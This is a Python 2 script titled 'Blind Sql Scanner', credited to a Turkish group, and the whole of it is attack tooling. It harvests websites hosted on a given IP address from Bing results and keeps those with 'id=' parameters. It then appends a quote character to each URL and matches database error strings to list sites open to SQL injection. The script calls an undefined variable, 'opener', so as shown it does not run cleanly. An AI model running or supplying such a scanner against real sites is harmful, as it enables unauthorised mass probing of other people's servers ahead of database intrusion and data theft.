Blind Sql Scanner (SpyCod3)

#!/usr/bin/env python

import urllib
import urllib2
import re, sys
import os, cookielib
import threading
import time
from IPy import IP


# Scripti Web Server Üzerinde Çalıştırın
#Sitenin Ip Adresini Girerek Çalıştırın

def screen():

	if os.name == "nt":
		os.system('cls')
	else:
		os.system('clear')

screen()


baslik = ''' 

Blind Sql Scanner - SpyCod3
Coded By Dokunulmaz & Antidote
Ajanlar.Org / SpyCod3

'''

print baslik

try:

	ip = raw_input("Ip Adresi Girin: ")
	host = IP(ip)

except:
	print ""
	print "Sadece Ip Adresi Gir"
	print ""
	sys.exit()

def main():
	try:
		
		arttir = 1
		while(arttir<=200):

			bing = "http://www.bing.com/search?q=ip%3A"+ip+"+"+"id=&go=Submit&qs=n&form=QBLH&pq="+"ip%3A"+"wordpress"+"&first="+str(arttir)+"&FORM=PORE"
			arttir = arttir + 10
			veri = urllib2.Request(bing)
			dene = urllib2.urlopen(veri).read()
			ara = re.findall('<h2><a href="\S+', dene)
			
			for b in ara:
				m = b.replace('<h2><a href="http://', "").replace('<h2><a href="', "")

				if 'id=' in m:
					sql = m.replace('"', "").replace('amp;', "")

					with open('x.txt', 'a') as f:
						f.write(sql)
						f.write("\n")
			
		st = open("x.txt" , 'r').read().splitlines()
		bomba = set(st)
		sayi = 0
		for tabanca in bomba:
			with open('siteler.txt', 'a') as sql:
				sayi = sayi + 1
				sql.write(tabanca)
				sql.write("\n")

		print ""
		print "Toplam Site: " + str(sayi)
		os.unlink("x.txt")


	except Exception, e:
		print e 
main()

hatalar = ["DB Error","SQL syntax;","mysql_fetch_assoc","mysql_fetch_array","mysql_num_rows","is_writable","mysql_result","pg_exec","mysql_result","mysql_num_rows","mysql_query","pg_query","System Error","io_error","privilege_not_granted","getimagesize","preg_match",]

def sqli(f,acacak):
	
	try:
		for s in hatalar:

			adres = "http://"+f+"'"
			sqli = urllib2.Request(adres)
			baglanti = acacak.open(sqli).read()

			if s in baglanti:
				SQLI = adres.replace("'", "")
				print adres.replace("'", "")
				break


		with open("SQLI.txt", 'a') as char:
			char.write(SQLI)
			char.write("\n")

				
	except Exception, e:
		pass
		#e degişkenini isterseniz yazdırabilirsiniz ben gerek duymadım


hiz = []
dosyalar = open('siteler.txt', 'r').read().splitlines()
cuki = cookielib.CookieJar()
acacak = urllib2.build_opener(urllib2.HTTPCookieProcessor(cuki))

print "-" * 30
print "Sql Acikli Siteler "
print "-" * 30
for f in dosyalar:
	t = threading.Thread(target=sqli, args=(f,opener))
	t.start()
	hiz.append(t)
	time.sleep(0.3)

for j in hiz:
	j.join()

os.unlink('siteler.txt')
print ""
print "Coded By Dokunulmaz & Antidote (Ajanlar.Org / SpyCod3)"
print ""